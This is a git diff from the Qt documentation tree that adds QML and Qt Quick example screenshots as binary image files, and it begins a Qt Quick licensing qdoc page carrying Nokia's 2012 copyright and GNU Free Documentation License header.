diff --git a/doc/src/images/declarative-removebutton.gif b/doc/src/images/declarative-removebutton.gif
new file mode 100644
index 00000000..ca4d7e6b
--- /dev/null
+++ b/doc/src/images/declarative-removebutton.gif
Binary files differ
diff --git a/doc/src/images/declarative-removebutton.png b/doc/src/images/declarative-removebutton.png
new file mode 100644
index 00000000..f783e6ab
--- /dev/null
+++ b/doc/src/images/declarative-removebutton.png
Binary files differ
diff --git a/doc/src/images/declarative-reuse-1.png b/doc/src/images/declarative-reuse-1.png
new file mode 100644
index 00000000..c7044573
--- /dev/null
+++ b/doc/src/images/declarative-reuse-1.png
Binary files differ
diff --git a/doc/src/images/declarative-reuse-2.png b/doc/src/images/declarative-reuse-2.png
new file mode 100644
index 00000000..0b6006b8
--- /dev/null
+++ b/doc/src/images/declarative-reuse-2.png
Binary files differ
diff --git a/doc/src/images/declarative-reuse-3.png b/doc/src/images/declarative-reuse-3.png
new file mode 100644
index 00000000..695a7253
--- /dev/null
+++ b/doc/src/images/declarative-reuse-3.png
Binary files differ
diff --git a/doc/src/images/declarative-reuse-bluerect.png b/doc/src/images/declarative-reuse-bluerect.png
new file mode 100644
index 00000000..97dbb5f5
--- /dev/null
+++ b/doc/src/images/declarative-reuse-bluerect.png
Binary files differ
diff --git a/doc/src/images/declarative-reuse-focus.png b/doc/src/images/declarative-reuse-focus.png
new file mode 100644
index 00000000..f91d374e
--- /dev/null
+++ b/doc/src/images/declarative-reuse-focus.png
Binary files differ
diff --git a/doc/src/images/declarative-rotation.png b/doc/src/images/declarative-rotation.png
new file mode 100644
index 00000000..b4031f5a
--- /dev/null
+++ b/doc/src/images/declarative-rotation.png
Binary files differ
diff --git a/doc/src/images/declarative-roundrect.png b/doc/src/images/declarative-roundrect.png
new file mode 100644
index 00000000..607da81d
--- /dev/null
+++ b/doc/src/images/declarative-roundrect.png
Binary files differ
diff --git a/doc/src/images/declarative-samegame.png b/doc/src/images/declarative-samegame.png
new file mode 100644
index 00000000..2232df20
--- /dev/null
+++ b/doc/src/images/declarative-samegame.png
Binary files differ
diff --git a/doc/src/images/declarative-scale.png b/doc/src/images/declarative-scale.png
new file mode 100644
index 00000000..bab729e2
--- /dev/null
+++ b/doc/src/images/declarative-scale.png
Binary files differ
diff --git a/doc/src/images/declarative-scalegrid.png b/doc/src/images/declarative-scalegrid.png
new file mode 100644
index 00000000..32d87125
--- /dev/null
+++ b/doc/src/images/declarative-scalegrid.png
Binary files differ
diff --git a/doc/src/images/declarative-text.png b/doc/src/images/declarative-text.png
new file mode 100644
index 00000000..c1a41125
--- /dev/null
+++ b/doc/src/images/declarative-text.png
Binary files differ
diff --git a/doc/src/images/declarative-textedit.gif b/doc/src/images/declarative-textedit.gif
new file mode 100644
index 00000000..7186eb9f
--- /dev/null
+++ b/doc/src/images/declarative-textedit.gif
Binary files differ
diff --git a/doc/src/images/declarative-textformat.png b/doc/src/images/declarative-textformat.png
new file mode 100644
index 00000000..ade1b454
--- /dev/null
+++ b/doc/src/images/declarative-textformat.png
Binary files differ
diff --git a/doc/src/images/declarative-textstyle.png b/doc/src/images/declarative-textstyle.png
new file mode 100644
index 00000000..858c1bcb
--- /dev/null
+++ b/doc/src/images/declarative-textstyle.png
Binary files differ
diff --git a/doc/src/images/declarative-transformorigin.png b/doc/src/images/declarative-transformorigin.png
new file mode 100644
index 00000000..4af320fb
--- /dev/null
+++ b/doc/src/images/declarative-transformorigin.png
Binary files differ
diff --git a/doc/src/images/declarative-tutorial-list-closed.png b/doc/src/images/declarative-tutorial-list-closed.png
new file mode 100644
index 00000000..4a0fee9f
--- /dev/null
+++ b/doc/src/images/declarative-tutorial-list-closed.png
Binary files differ
diff --git a/doc/src/images/declarative-tutorial-list-open.png b/doc/src/images/declarative-tutorial-list-open.png
new file mode 100644
index 00000000..16a9c94b
--- /dev/null
+++ b/doc/src/images/declarative-tutorial-list-open.png
Binary files differ
diff --git a/doc/src/images/declarative-tutorial-list.png b/doc/src/images/declarative-tutorial-list.png
new file mode 100644
index 00000000..723fe2fa
--- /dev/null
+++ b/doc/src/images/declarative-tutorial-list.png
Binary files differ
diff --git a/doc/src/images/declarative-tutorial1.png b/doc/src/images/declarative-tutorial1.png
new file mode 100644
index 00000000..c9d3844c
--- /dev/null
+++ b/doc/src/images/declarative-tutorial1.png
Binary files differ
diff --git a/doc/src/images/declarative-tutorial2.png b/doc/src/images/declarative-tutorial2.png
new file mode 100644
index 00000000..835484aa
--- /dev/null
+++ b/doc/src/images/declarative-tutorial2.png
Binary files differ
diff --git a/doc/src/images/declarative-tutorial3.gif b/doc/src/images/declarative-tutorial3.gif
new file mode 100644
index 00000000..e2eae81b
--- /dev/null
+++ b/doc/src/images/declarative-tutorial3.gif
Binary files differ
diff --git a/doc/src/images/declarative-tutorial3_animation.gif b/doc/src/images/declarative-tutorial3_animation.gif
new file mode 100644
index 00000000..80b78dea
--- /dev/null
+++ b/doc/src/images/declarative-tutorial3_animation.gif
Binary files differ
diff --git a/doc/src/images/qml-abstractitemmodel-example.png b/doc/src/images/qml-abstractitemmodel-example.png
new file mode 100644
index 00000000..1d7ff197
--- /dev/null
+++ b/doc/src/images/qml-abstractitemmodel-example.png
Binary files differ
diff --git a/doc/src/images/qml-behaviors-example.png b/doc/src/images/qml-behaviors-example.png
new file mode 100644
index 00000000..aee5c2bc
--- /dev/null
+++ b/doc/src/images/qml-behaviors-example.png
Binary files differ
diff --git a/doc/src/images/qml-borderimage-example.png b/doc/src/images/qml-borderimage-example.png
new file mode 100644
index 00000000..7e488f2c
--- /dev/null
+++ b/doc/src/images/qml-borderimage-example.png
Binary files differ
diff --git a/doc/src/images/qml-borderimage-normal-image.png b/doc/src/images/qml-borderimage-normal-image.png
new file mode 100644
index 00000000..ae7460a7
--- /dev/null
+++ b/doc/src/images/qml-borderimage-normal-image.png
Binary files differ
diff --git a/doc/src/images/qml-borderimage-scaled.png b/doc/src/images/qml-borderimage-scaled.png
new file mode 100644
index 00000000..8035c79f
--- /dev/null
+++ b/doc/src/images/qml-borderimage-scaled.png
Binary files differ
diff --git a/doc/src/images/qml-borderimage-shadows-example.png b/doc/src/images/qml-borderimage-shadows-example.png
new file mode 100644
index 00000000..47008681
--- /dev/null
+++ b/doc/src/images/qml-borderimage-shadows-example.png
Binary files differ
diff --git a/doc/src/images/qml-borderimage-tiled.png b/doc/src/images/qml-borderimage-tiled.png
new file mode 100644
index 00000000..14883d0d
--- /dev/null
+++ b/doc/src/images/qml-borderimage-tiled.png
Binary files differ
diff --git a/doc/src/images/qml-calculator-example-small.png b/doc/src/images/qml-calculator-example-small.png
new file mode 100644
index 00000000..9e0370f4
--- /dev/null
+++ b/doc/src/images/qml-calculator-example-small.png
Binary files differ
diff --git a/doc/src/images/qml-calculator-example.png b/doc/src/images/qml-calculator-example.png
new file mode 100644
index 00000000..0f9ced80
--- /dev/null
+++ b/doc/src/images/qml-calculator-example.png
Binary files differ
diff --git a/doc/src/images/qml-clocks-example.png b/doc/src/images/qml-clocks-example.png
new file mode 100644
index 00000000..1b352b58
--- /dev/null
+++ b/doc/src/images/qml-clocks-example.png
Binary files differ
diff --git a/doc/src/images/qml-coloranim-example.png b/doc/src/images/qml-coloranim-example.png
new file mode 100644
index 00000000..12edc998
--- /dev/null
+++ b/doc/src/images/qml-coloranim-example.png
Binary files differ
diff --git a/doc/src/images/qml-column.png b/doc/src/images/qml-column.png
new file mode 100644
index 00000000..c589ad82
--- /dev/null
+++ b/doc/src/images/qml-column.png
Binary files differ
diff --git a/doc/src/images/qml-corkboards-example.png b/doc/src/images/qml-corkboards-example.png
new file mode 100644
index 00000000..8acffa7b
--- /dev/null
+++ b/doc/src/images/qml-corkboards-example.png
Binary files differ
diff --git a/doc/src/images/qml-dialcontrol-example.png b/doc/src/images/qml-dialcontrol-example.png
new file mode 100644
index 00000000..74cd645d
--- /dev/null
+++ b/doc/src/images/qml-dialcontrol-example.png
Binary files differ
diff --git a/doc/src/images/qml-dynamicscene-example.png b/doc/src/images/qml-dynamicscene-example.png
new file mode 100644
index 00000000..4179ebec
--- /dev/null
+++ b/doc/src/images/qml-dynamicscene-example.png
Binary files differ
diff --git a/doc/src/images/qml-easing-example.png b/doc/src/images/qml-easing-example.png
new file mode 100644
index 00000000..fef5b706
--- /dev/null
+++ b/doc/src/images/qml-easing-example.png
Binary files differ
diff --git a/doc/src/images/qml-flickr-demo-small.png b/doc/src/images/qml-flickr-demo-small.png
new file mode 100644
index 00000000..370ffcf8
--- /dev/null
+++ b/doc/src/images/qml-flickr-demo-small.png
Binary files differ
diff --git a/doc/src/images/qml-flickr-demo.png b/doc/src/images/qml-flickr-demo.png
new file mode 100644
index 00000000..71ea5679
--- /dev/null
+++ b/doc/src/images/qml-flickr-demo.png
Binary files differ
diff --git a/doc/src/images/qml-flipable-example.png b/doc/src/images/qml-flipable-example.png
new file mode 100644
index 00000000..dd68a66c
--- /dev/null
+++ b/doc/src/images/qml-flipable-example.png
Binary files differ
diff --git a/doc/src/images/qml-flow-snippet.png b/doc/src/images/qml-flow-snippet.png
new file mode 100644
index 00000000..af873d1b
--- /dev/null
+++ b/doc/src/images/qml-flow-snippet.png
Binary files differ
diff --git a/doc/src/images/qml-flow-text1.png b/doc/src/images/qml-flow-text1.png
new file mode 100644
index 00000000..99ce7523
--- /dev/null
+++ b/doc/src/images/qml-flow-text1.png
Binary files differ
diff --git a/doc/src/images/qml-flow-text2.png b/doc/src/images/qml-flow-text2.png
new file mode 100644
index 00000000..844e0def
--- /dev/null
+++ b/doc/src/images/qml-flow-text2.png
Binary files differ
diff --git a/doc/src/images/qml-focus-example.png b/doc/src/images/qml-focus-example.png
new file mode 100644
index 00000000..107d2cb3
--- /dev/null
+++ b/doc/src/images/qml-focus-example.png
Binary files differ
diff --git a/doc/src/images/qml-fonts-availableFonts-example.png b/doc/src/images/qml-fonts-availableFonts-example.png
new file mode 100644
index 00000000..4d8440ce
--- /dev/null
+++ b/doc/src/images/qml-fonts-availableFonts-example.png
Binary files differ
diff --git a/doc/src/images/qml-fonts-banner-example.png b/doc/src/images/qml-fonts-banner-example.png
new file mode 100644
index 00000000..b415161c
--- /dev/null
+++ b/doc/src/images/qml-fonts-banner-example.png
Binary files differ
diff --git a/doc/src/images/qml-fonts-fonts-example.png b/doc/src/images/qml-fonts-fonts-example.png
new file mode 100644
index 00000000..4481397f
--- /dev/null
+++ b/doc/src/images/qml-fonts-fonts-example.png
Binary files differ
diff --git a/doc/src/images/qml-fonts-hello-example.png b/doc/src/images/qml-fonts-hello-example.png
new file mode 100644
index 00000000..18da8673
--- /dev/null
+++ b/doc/src/images/qml-fonts-hello-example.png
Binary files differ
diff --git a/doc/src/images/qml-grid-no-spacing.png b/doc/src/images/qml-grid-no-spacing.png
new file mode 100644
index 00000000..c2092e0b
--- /dev/null
+++ b/doc/src/images/qml-grid-no-spacing.png
Binary files differ
diff --git a/doc/src/images/qml-grid-spacing.png b/doc/src/images/qml-grid-spacing.png
new file mode 100644
index 00000000..1083bee5
--- /dev/null
+++ b/doc/src/images/qml-grid-spacing.png
Binary files differ
diff --git a/doc/src/images/qml-gridview-example.png b/doc/src/images/qml-gridview-example.png
new file mode 100644
index 00000000..8a092b5b
--- /dev/null
+++ b/doc/src/images/qml-gridview-example.png
Binary files differ
diff --git a/doc/src/images/qml-guitartuner-example.png b/doc/src/images/qml-guitartuner-example.png
new file mode 100644
index 00000000..2f13e8d9
--- /dev/null
+++ b/doc/src/images/qml-guitartuner-example.png
Binary files differ
diff --git a/doc/src/images/qml-i18n-example.png b/doc/src/images/qml-i18n-example.png
new file mode 100644
index 00000000..8e734ea3
--- /dev/null
+++ b/doc/src/images/qml-i18n-example.png
Binary files differ
diff --git a/doc/src/images/qml-image-example.png b/doc/src/images/qml-image-example.png
new file mode 100644
index 00000000..8d9846f8
--- /dev/null
+++ b/doc/src/images/qml-image-example.png
Binary files differ
diff --git a/doc/src/images/qml-imageprovider-example.png b/doc/src/images/qml-imageprovider-example.png
new file mode 100644
index 00000000..e82548ae
--- /dev/null
+++ b/doc/src/images/qml-imageprovider-example.png
Binary files differ
diff --git a/doc/src/images/qml-layoutitem-example.png b/doc/src/images/qml-layoutitem-example.png
new file mode 100644
index 00000000..b3c778ad
--- /dev/null
+++ b/doc/src/images/qml-layoutitem-example.png
Binary files differ
diff --git a/doc/src/images/qml-listview-dynamiclist-example.png b/doc/src/images/qml-listview-dynamiclist-example.png
new file mode 100644
index 00000000..6acc3d98
--- /dev/null
+++ b/doc/src/images/qml-listview-dynamiclist-example.png
Binary files differ
diff --git a/doc/src/images/qml-listview-expandingdelegates-example.png b/doc/src/images/qml-listview-expandingdelegates-example.png
new file mode 100644
index 00000000..e7ffc335
--- /dev/null
+++ b/doc/src/images/qml-listview-expandingdelegates-example.png
Binary files differ
diff --git a/doc/src/images/qml-listview-highlight-example.png b/doc/src/images/qml-listview-highlight-example.png
new file mode 100644
index 00000000..4f95c136
--- /dev/null
+++ b/doc/src/images/qml-listview-highlight-example.png
Binary files differ
diff --git a/doc/src/images/qml-listview-highlightranges-example.png b/doc/src/images/qml-listview-highlightranges-example.png
new file mode 100644
index 00000000..f499caa8
--- /dev/null
+++ b/doc/src/images/qml-listview-highlightranges-example.png
Binary files differ
diff --git a/doc/src/images/qml-listview-sections-example.png b/doc/src/images/qml-listview-sections-example.png
new file mode 100644
index 00000000..4e8f0768
--- /dev/null
+++ b/doc/src/images/qml-listview-sections-example.png
Binary files differ
diff --git a/doc/src/images/qml-listview-snippet.png b/doc/src/images/qml-listview-snippet.png
new file mode 100644
index 00000000..0ee0ffcd
--- /dev/null
+++ b/doc/src/images/qml-listview-snippet.png
Binary files differ
diff --git a/doc/src/images/qml-minehunt-demo-small.png b/doc/src/images/qml-minehunt-demo-small.png
new file mode 100644
index 00000000..e5badac8
--- /dev/null
+++ b/doc/src/images/qml-minehunt-demo-small.png
Binary files differ
diff --git a/doc/src/images/qml-minehunt-demo.png b/doc/src/images/qml-minehunt-demo.png
new file mode 100644
index 00000000..3b695693
--- /dev/null
+++ b/doc/src/images/qml-minehunt-demo.png
Binary files differ
diff --git a/doc/src/images/qml-mousearea-example.png b/doc/src/images/qml-mousearea-example.png
new file mode 100644
index 00000000..c0eef7f9
--- /dev/null
+++ b/doc/src/images/qml-mousearea-example.png
Binary files differ
diff --git a/doc/src/images/qml-mousearea-snippet.png b/doc/src/images/qml-mousearea-snippet.png
new file mode 100644
index 00000000..15229446
--- /dev/null
+++ b/doc/src/images/qml-mousearea-snippet.png
Binary files differ
diff --git a/doc/src/images/qml-objectlistmodel-example.png b/doc/src/images/qml-objectlistmodel-example.png
new file mode 100644
index 00000000..c0fc490c
--- /dev/null
+++ b/doc/src/images/qml-objectlistmodel-example.png
Binary files differ
diff --git a/doc/src/images/qml-package-example.png b/doc/src/images/qml-package-example.png
new file mode 100644
index 00000000..f7749aa5
--- /dev/null
+++ b/doc/src/images/qml-package-example.png
Binary files differ
diff --git a/doc/src/images/qml-parallax-example.png b/doc/src/images/qml-parallax-example.png
new file mode 100644
index 00000000..2df52ed2
--- /dev/null
+++ b/doc/src/images/qml-parallax-example.png
Binary files differ
diff --git a/doc/src/images/qml-pathview-example.png b/doc/src/images/qml-pathview-example.png
new file mode 100644
index 00000000..c874c5c1
--- /dev/null
+++ b/doc/src/images/qml-pathview-example.png
Binary files differ
diff --git a/doc/src/images/qml-photoviewer-demo-small.png b/doc/src/images/qml-photoviewer-demo-small.png
new file mode 100644
index 00000000..b16fb4e5
--- /dev/null
+++ b/doc/src/images/qml-photoviewer-demo-small.png
Binary files differ
diff --git a/doc/src/images/qml-photoviewer-demo.png b/doc/src/images/qml-photoviewer-demo.png
new file mode 100644
index 00000000..be6f1bf1
--- /dev/null
+++ b/doc/src/images/qml-photoviewer-demo.png
Binary files differ
diff --git a/doc/src/images/qml-plugins-example.png b/doc/src/images/qml-plugins-example.png
new file mode 100644
index 00000000..c2d4886e
--- /dev/null
+++ b/doc/src/images/qml-plugins-example.png
Binary files differ
diff --git a/doc/src/images/qml-positioners-example.png b/doc/src/images/qml-positioners-example.png
new file mode 100644
index 00000000..721c1b34
--- /dev/null
+++ b/doc/src/images/qml-positioners-example.png
Binary files differ
diff --git a/doc/src/images/qml-positioners-layoutdirection-example.png b/doc/src/images/qml-positioners-layoutdirection-example.png
new file mode 100644
index 00000000..2c42b094
--- /dev/null
+++ b/doc/src/images/qml-positioners-layoutdirection-example.png
Binary files differ
diff --git a/doc/src/images/qml-progressbar-example.png b/doc/src/images/qml-progressbar-example.png
new file mode 100644
index 00000000..3ddd6c64
--- /dev/null
+++ b/doc/src/images/qml-progressbar-example.png
Binary files differ
diff --git a/doc/src/images/qml-propertyanim-example.png b/doc/src/images/qml-propertyanim-example.png
new file mode 100644
index 00000000..46efc641
--- /dev/null
+++ b/doc/src/images/qml-propertyanim-example.png
Binary files differ
diff --git a/doc/src/images/qml-qgraphicsgridlayout-example.png b/doc/src/images/qml-qgraphicsgridlayout-example.png
new file mode 100644
index 00000000..1a3bd47b
--- /dev/null
+++ b/doc/src/images/qml-qgraphicsgridlayout-example.png
Binary files differ
diff --git a/doc/src/images/qml-qgraphicslinearlayout-example.png b/doc/src/images/qml-qgraphicslinearlayout-example.png
new file mode 100644
index 00000000..3964f5b9
--- /dev/null
+++ b/doc/src/images/qml-qgraphicslinearlayout-example.png
Binary files differ
diff --git a/doc/src/images/qml-qtbubblelevel-demo.png b/doc/src/images/qml-qtbubblelevel-demo.png
new file mode 100644
index 00000000..9d5bc4b0
--- /dev/null
+++ b/doc/src/images/qml-qtbubblelevel-demo.png
Binary files differ
diff --git a/doc/src/images/qml-qwidgets-example.png b/doc/src/images/qml-qwidgets-example.png
new file mode 100644
index 00000000..262b3dfa
--- /dev/null
+++ b/doc/src/images/qml-qwidgets-example.png
Binary files differ
diff --git a/doc/src/images/qml-repeater-grid-index.png b/doc/src/images/qml-repeater-grid-index.png
new file mode 100644
index 00000000..44aed24f
--- /dev/null
+++ b/doc/src/images/qml-repeater-grid-index.png
Binary files differ
diff --git a/doc/src/images/qml-righttoleft-layoutdirection-example.png b/doc/src/images/qml-righttoleft-layoutdirection-example.png
new file mode 100644
index 00000000..381ecd71
--- /dev/null
+++ b/doc/src/images/qml-righttoleft-layoutdirection-example.png
Binary files differ
diff --git a/doc/src/images/qml-righttoleft-layoutmirroring-example.png b/doc/src/images/qml-righttoleft-layoutmirroring-example.png
new file mode 100644
index 00000000..992c8763
--- /dev/null
+++ b/doc/src/images/qml-righttoleft-layoutmirroring-example.png
Binary files differ
diff --git a/doc/src/images/qml-row.png b/doc/src/images/qml-row.png
new file mode 100644
index 00000000..30d9caad
--- /dev/null
+++ b/doc/src/images/qml-row.png
Binary files differ
diff --git a/doc/src/images/qml-rssnews-demo-small.png b/doc/src/images/qml-rssnews-demo-small.png
new file mode 100644
index 00000000..451a4206
--- /dev/null
+++ b/doc/src/images/qml-rssnews-demo-small.png
Binary files differ
diff --git a/doc/src/images/qml-rssnews-demo.png b/doc/src/images/qml-rssnews-demo.png
new file mode 100644
index 00000000..b4143b46
--- /dev/null
+++ b/doc/src/images/qml-rssnews-demo.png
Binary files differ
diff --git a/doc/src/images/qml-samegame-demo-small.png b/doc/src/images/qml-samegame-demo-small.png
new file mode 100644
index 00000000..ec9ad769
--- /dev/null
+++ b/doc/src/images/qml-samegame-demo-small.png
Binary files differ
diff --git a/doc/src/images/qml-samegame-demo.png b/doc/src/images/qml-samegame-demo.png
new file mode 100644
index 00000000..945f2b96
--- /dev/null
+++ b/doc/src/images/qml-samegame-demo.png
Binary files differ
diff --git a/doc/src/images/qml-scrollbar-example.png b/doc/src/images/qml-scrollbar-example.png
new file mode 100644
index 00000000..4cf7c2cb
--- /dev/null
+++ b/doc/src/images/qml-scrollbar-example.png
Binary files differ
diff --git a/doc/src/images/qml-searchbox-example.png b/doc/src/images/qml-searchbox-example.png
new file mode 100644
index 00000000..97d12bba
--- /dev/null
+++ b/doc/src/images/qml-searchbox-example.png
Binary files differ
diff --git a/doc/src/images/qml-shadereffects-example.png b/doc/src/images/qml-shadereffects-example.png
new file mode 100644
index 00000000..9649fe1f
--- /dev/null
+++ b/doc/src/images/qml-shadereffects-example.png
Binary files differ
diff --git a/doc/src/images/qml-slideswitch-example.png b/doc/src/images/qml-slideswitch-example.png
new file mode 100644
index 00000000..17cb3eb3
--- /dev/null
+++ b/doc/src/images/qml-slideswitch-example.png
Binary files differ
diff --git a/doc/src/images/qml-snake-demo-small.png b/doc/src/images/qml-snake-demo-small.png
new file mode 100644
index 00000000..23a7b3b3
--- /dev/null
+++ b/doc/src/images/qml-snake-demo-small.png
Binary files differ
diff --git a/doc/src/images/qml-snake-demo.png b/doc/src/images/qml-snake-demo.png
new file mode 100644
index 00000000..d3c077d1
--- /dev/null
+++ b/doc/src/images/qml-snake-demo.png
Binary files differ
diff --git a/doc/src/images/qml-spinner-example.png b/doc/src/images/qml-spinner-example.png
new file mode 100644
index 00000000..ed381f8a
--- /dev/null
+++ b/doc/src/images/qml-spinner-example.png
Binary files differ
diff --git a/doc/src/images/qml-states-example.png b/doc/src/images/qml-states-example.png
new file mode 100644
index 00000000..30514ecc
--- /dev/null
+++ b/doc/src/images/qml-states-example.png
Binary files differ
diff --git a/doc/src/images/qml-stringlistmodel-example.png b/doc/src/images/qml-stringlistmodel-example.png
new file mode 100644
index 00000000..c8c888b6
--- /dev/null
+++ b/doc/src/images/qml-stringlistmodel-example.png
Binary files differ
diff --git a/doc/src/images/qml-tabwidget-example.png b/doc/src/images/qml-tabwidget-example.png
new file mode 100644
index 00000000..847052d3
--- /dev/null
+++ b/doc/src/images/qml-tabwidget-example.png
Binary files differ
diff --git a/doc/src/images/qml-texteditor1_button.png b/doc/src/images/qml-texteditor1_button.png
new file mode 100644
index 00000000..aab64bcf
--- /dev/null
+++ b/doc/src/images/qml-texteditor1_button.png
Binary files differ
diff --git a/doc/src/images/qml-texteditor1_editmenu.png b/doc/src/images/qml-texteditor1_editmenu.png
new file mode 100644
index 00000000..af8028ba
--- /dev/null
+++ b/doc/src/images/qml-texteditor1_editmenu.png
Binary files differ
diff --git a/doc/src/images/qml-texteditor1_filemenu.png b/doc/src/images/qml-texteditor1_filemenu.png
new file mode 100644
index 00000000..ccc008c5
--- /dev/null
+++ b/doc/src/images/qml-texteditor1_filemenu.png
Binary files differ
diff --git a/doc/src/images/qml-texteditor1_simplebutton.png b/doc/src/images/qml-texteditor1_simplebutton.png
new file mode 100644
index 00000000..21ce5092
--- /dev/null
+++ b/doc/src/images/qml-texteditor1_simplebutton.png
Binary files differ
diff --git a/doc/src/images/qml-texteditor2_menubar.png b/doc/src/images/qml-texteditor2_menubar.png
new file mode 100644
index 00000000..691a833e
--- /dev/null
+++ b/doc/src/images/qml-texteditor2_menubar.png
Binary files differ
diff --git a/doc/src/images/qml-texteditor3_textarea.png b/doc/src/images/qml-texteditor3_textarea.png
new file mode 100644
index 00000000..95abcd60
--- /dev/null
+++ b/doc/src/images/qml-texteditor3_textarea.png
Binary files differ
diff --git a/doc/src/images/qml-texteditor3_texteditor.png b/doc/src/images/qml-texteditor3_texteditor.png
new file mode 100644
index 00000000..bdf69573
--- /dev/null
+++ b/doc/src/images/qml-texteditor3_texteditor.png
Binary files differ
diff --git a/doc/src/images/qml-texteditor4_texteditor.png b/doc/src/images/qml-texteditor4_texteditor.png
new file mode 100644
index 00000000..85d216bf
--- /dev/null
+++ b/doc/src/images/qml-texteditor4_texteditor.png
Binary files differ
diff --git a/doc/src/images/qml-texteditor5_editmenu.png b/doc/src/images/qml-texteditor5_editmenu.png
new file mode 100644
index 00000000..7365690a
--- /dev/null
+++ b/doc/src/images/qml-texteditor5_editmenu.png
Binary files differ
diff --git a/doc/src/images/qml-texteditor5_filemenu.png b/doc/src/images/qml-texteditor5_filemenu.png
new file mode 100644
index 00000000..70780227
--- /dev/null
+++ b/doc/src/images/qml-texteditor5_filemenu.png
Binary files differ
diff --git a/doc/src/images/qml-texteditor5_newfile.png b/doc/src/images/qml-texteditor5_newfile.png
new file mode 100644
index 00000000..e4939416
--- /dev/null
+++ b/doc/src/images/qml-texteditor5_newfile.png
Binary files differ
diff --git a/doc/src/images/qml-textselection-example.png b/doc/src/images/qml-textselection-example.png
new file mode 100644
index 00000000..284ef535
--- /dev/null
+++ b/doc/src/images/qml-textselection-example.png
Binary files differ
diff --git a/doc/src/images/qml-tic-tac-toe-example.png b/doc/src/images/qml-tic-tac-toe-example.png
new file mode 100644
index 00000000..5a5cc826
--- /dev/null
+++ b/doc/src/images/qml-tic-tac-toe-example.png
Binary files differ
diff --git a/doc/src/images/qml-transitions-example.png b/doc/src/images/qml-transitions-example.png
new file mode 100644
index 00000000..8656bfe1
--- /dev/null
+++ b/doc/src/images/qml-transitions-example.png
Binary files differ
diff --git a/doc/src/images/qml-tvtennis-example.png b/doc/src/images/qml-tvtennis-example.png
new file mode 100644
index 00000000..1a380342
--- /dev/null
+++ b/doc/src/images/qml-tvtennis-example.png
Binary files differ
diff --git a/doc/src/images/qml-twitter-demo-small.png b/doc/src/images/qml-twitter-demo-small.png
new file mode 100644
index 00000000..b55cebab
--- /dev/null
+++ b/doc/src/images/qml-twitter-demo-small.png
Binary files differ
diff --git a/doc/src/images/qml-twitter-demo.png b/doc/src/images/qml-twitter-demo.png
new file mode 100644
index 00000000..63d6486a
--- /dev/null
+++ b/doc/src/images/qml-twitter-demo.png
Binary files differ
diff --git a/doc/src/images/qml-visualitemmodel-example.png b/doc/src/images/qml-visualitemmodel-example.png
new file mode 100644
index 00000000..c716a59c
--- /dev/null
+++ b/doc/src/images/qml-visualitemmodel-example.png
Binary files differ
diff --git a/doc/src/images/qml-webbrowser-demo-small.png b/doc/src/images/qml-webbrowser-demo-small.png
new file mode 100644
index 00000000..6c5d57d5
--- /dev/null
+++ b/doc/src/images/qml-webbrowser-demo-small.png
Binary files differ
diff --git a/doc/src/images/qml-webbrowser-demo.png b/doc/src/images/qml-webbrowser-demo.png
new file mode 100644
index 00000000..9ff471eb
--- /dev/null
+++ b/doc/src/images/qml-webbrowser-demo.png
Binary files differ
diff --git a/doc/src/images/qml-webview-alert-example.png b/doc/src/images/qml-webview-alert-example.png
new file mode 100644
index 00000000..c1cddce4
--- /dev/null
+++ b/doc/src/images/qml-webview-alert-example.png
Binary files differ
diff --git a/doc/src/images/qml-webview-autosize-example.png b/doc/src/images/qml-webview-autosize-example.png
new file mode 100644
index 00000000..5cec6141
--- /dev/null
+++ b/doc/src/images/qml-webview-autosize-example.png
Binary files differ
diff --git a/doc/src/images/qml-webview-googlemaps-example.png b/doc/src/images/qml-webview-googlemaps-example.png
new file mode 100644
index 00000000..d6c77a19
--- /dev/null
+++ b/doc/src/images/qml-webview-googlemaps-example.png
Binary files differ
diff --git a/doc/src/images/qml-webview-inlinehtml-example.png b/doc/src/images/qml-webview-inlinehtml-example.png
new file mode 100644
index 00000000..426cf8ae
--- /dev/null
+++ b/doc/src/images/qml-webview-inlinehtml-example.png
Binary files differ
diff --git a/doc/src/images/qml-webview-newwindows-example.png b/doc/src/images/qml-webview-newwindows-example.png
new file mode 100644
index 00000000..bd98b574
--- /dev/null
+++ b/doc/src/images/qml-webview-newwindows-example.png
Binary files differ
diff --git a/doc/src/images/qml-xmlhttprequest-example.png b/doc/src/images/qml-xmlhttprequest-example.png
new file mode 100644
index 00000000..f5856134
--- /dev/null
+++ b/doc/src/images/qml-xmlhttprequest-example.png
Binary files differ
diff --git a/doc/src/images/qml-xmllistmodel-example.png b/doc/src/images/qml-xmllistmodel-example.png
new file mode 100644
index 00000000..be2d15d3
--- /dev/null
+++ b/doc/src/images/qml-xmllistmodel-example.png
Binary files differ
diff --git a/doc/src/images/qml.png b/doc/src/images/qml.png
new file mode 100644
index 00000000..b1e4ab66
--- /dev/null
+++ b/doc/src/images/qml.png
Binary files differ
diff --git a/doc/src/images/qmldesigner-visual-editor.png b/doc/src/images/qmldesigner-visual-editor.png
new file mode 100644
index 00000000..9cd4b8b2
--- /dev/null
+++ b/doc/src/images/qmldesigner-visual-editor.png
Binary files differ
diff --git a/doc/src/images/quick_screens.png b/doc/src/images/quick_screens.png
new file mode 100644
index 00000000..76b25d9d
--- /dev/null
+++ b/doc/src/images/quick_screens.png
Binary files differ
diff --git a/doc/src/legal/qtquicklicense.qdoc b/doc/src/legal/qtquicklicense.qdoc
new file mode 100644
index 00000000..68345cff
--- /dev/null
+++ b/doc/src/legal/qtquicklicense.qdoc
@@ -0,0 +1,40 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \page qtquicklicense.html
+ \title Qt Quick Licensing Information
+ \ingroup licensing
+ \brief Qt Quick and QtDeclarative Licensing Information.
+
+
